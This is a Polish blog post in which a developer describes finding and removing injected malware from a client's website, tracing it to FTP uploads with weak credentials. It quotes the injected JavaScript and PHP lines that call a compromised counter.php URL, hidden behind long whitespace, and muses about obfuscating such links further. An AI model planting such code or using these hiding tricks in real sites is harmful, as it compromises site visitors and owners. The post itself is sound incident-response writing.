Malware na WWW
Zgodzicie się ze mną, bądź nie, ale życie programisty często bywa monotonne. Czasami pracuje się przez wiele miesięcy z jedną technologią nad jednym projektem. Passę monotonności w moim przypadku przerwało bardzo ciekawe zadanie. Od klienta dowiedziałem się, że „na stronie jest wirus”. Nie wiedziałem co to znaczy, termin „wirus”, często jest nadużywane, a gdy jakiś system nie zachowuje się tak jak byśmy tego chcieli, zwalamy to na „wirusa”. Myślałem, że w tym przypadku jest podobnie, jednak okazało się, że „wirus” wcale nie było w tym przypadku nadużyciem.
Zrobiłem mini wywiad z klientem, zapytałem się co jest nie tak z tą stroną, od jak długo etc. Właściciel nie był osobą związaną z IT więc uzyskanie niektórych informacji było kłopotliwe. Kod strony był pisany 2-3 lata temu. Kod leżał luźno bez repozytorium i ogólnie nikt nic nie wie.
Po wejściu na stronę otwierało się ładne czerwone okno od Google z informacją, że strona rozsyła spam, padła ofiarą hakera. Jeśli przeszło się na stronę, nie działo się nic specjalnego, poza okienkiem do logowania wywołanym przez autoryzację z htaccess. W pliku .htaccess strony nie było nic, co wyglądało na autoryzację.
Zajrzałem w źródło strony i poznałem przyczynę. Na samym początku kodu html był oto taki kod:
http://www.zenasubaruteam.it/forumITA/counter.php?id=12330445
Podejrzewam, że właściciel zenasubaruteam.it nic nie wie o tym skrypcie. Jest on zabezpieczony logowaniem z htaccess, co było powodem okienka na stronie u klienta. Pomyślałem, że problem rozwiązany.
Dokopałem się do pliku z widokiem, jednak nie było w nim nic takiego. Wtedy dowiedziałem się, że ta treść była wstawiana dynamicznie w kod strony.
Projekt nad, którym pracowałem był dość rozbudowany więc przejrzenie wszystkich *.js, było czasochłonne. Przejrzałem wszystkie includowane na starcie strony i wydawały się OK. Jednak jak przyjrzałem się im drugi raz to, aż się uśmiechnąłem 🙂 Na pozór normalny plik ze skryptem *.js. Moją uwagę przykuł pasek poziomy do przewijania ekranu, który był bardzo krótki. Przewinąłem maksymalnie w prawo i po około 30 tabulatorach zobaczyłem oto taki fragment kodu :
[code language=”javascript”]
document.write(’<a href="http://www.zenasubaruteam.it/forumITA/counter.php?id=12330775">http://www.zenasubaruteam.it/forumITA/counter.php?id=12330775</a>’);
[/code]
Imho sprytny sposób na ukrycie kodu. Gdybym robił to osobiście, składałbym link z liter z tablicy, żeby nie można było go wyszukać za pomocą ctrl+f.
Usunąłem kod ze wszystkich miejsc gdzie był, w między czasie znalazłem jeszcze takie fragmenty kodu w plikach *.php:
[code language=”php”]if(empty($ie)) {$ie = "<a href="http://www.zenasubaruteam.it/forumITA/counter.php?id=12330555">http://www.zenasubaruteam.it/forumITA/counter.php?id=12330555</a>";echo $ie;}
[/code]
Po usunięciu takich i podobnych fragmentów kodu z kilkunastu plików, nadal nie miałem pewności, że wszystko zostało usunięte. Nie miałem z czym porównać kodu bo nie był wersjonowany. Próbowałem ustalić jak doszło do włamania. Nie musiałem długo szukać. Wystarczyło przejrzeć logi FTP; w pewnym dniu, ktoś po prostu się zalogował, pobrał kilkanaście plików i je ponownie wgrał. Były to te same pliki, w których znalazłem obcy kod. Nie znam się za bardzo na analizie po włamaniowej, próbowałem ustalić co to za adres IP; wskazało na Berlin, kilka godzin później był już nieaktywny.
Wnioskiem z logów FTP było to, że atak nie musiał nastąpić przez podatność w kodzie strony (chociaż prawdopodobnie byłoby co łatać). Ktoś się zalogował za pierwszym razem, pobrał plik, odesłał go sekundę później, tą czynność powtórzył dla kilkunastu innych plików. Dopiero wtedy do mnie doszło, że faktycznie mogło to byś za sprawą wirusa na komputerze właściciela strony. Szukając dalej wspólnych mianowników sprawy; zauważyłem, że wszystkie zainfekowane pliki były *.js lub jeśli były *.php, to miały w nazwie ciąg znaków „web” lub „page”. To potwierdziło mnie w tym, wybierając tak „głupią” metodę na ukrycie backdoor’a – mógł zrobić tylko wirus. Prawdopodobnie gdyby ukrywał to człowiek ich szukanie zajęłoby mi dużo więcej czasu.
Pogooglałem, znalazłem trochę informacji o tych tajemniczych skryptach zenasubaruteam.it (akurat na niemieckich forach). Treść była ta sama, różniła się tylko końcowym ID. Takie informacje w połączeniu z hasłami dostępowymi do strony przesłanymi plaintext w mailu tylko mnie upewniła. Warto zaznaczyć, że hasła były nadzwyczajnie silne (nazwadomeny123). Więc nie wykluczone, że do ataku doszło poprzez atak słownikowy lub bruteforce. Tego nie mogłem ustalić; nie miałem dostępu do komputera właściciela.
Czy sprawę warto zgłaszać na policję? Sam nie wiem; imho nie warto. Atak nie był kierowany konkretnie na witrynę klienta. Celem było zainfekowanie jak największej ilości stron. Autor „tworu”, który infekował strony pewnie nawet nie wie ile ma zdobyczy. Na pewno przewidział, że ktoś prędzej czy później się tym zainteresuje i pewnie zdążył się odpowiednio schować za jakimś proxy.
Zgłosiłem stronę w Google o ponowne zweryfikowanie, czy jest już wolne od wirusów; rozpatrzyli to pozytywnie. Klient zadowolony, ja również.
Podsumowując, mam nadzieję, że wszyscy, którzy mają podobny problem wygooglają ten wpis i zaoszczędzi im to kilka godzin pracy. Z chęcią przeczytam w komentarzach jakie macie metody na walkę z podobnymi problemami.
Dziękuję, że przeczytałeś ❤️
Pssst... przygotowałem dla Ciebie kilka prezentów - wybierz co Ci się przyda! 👍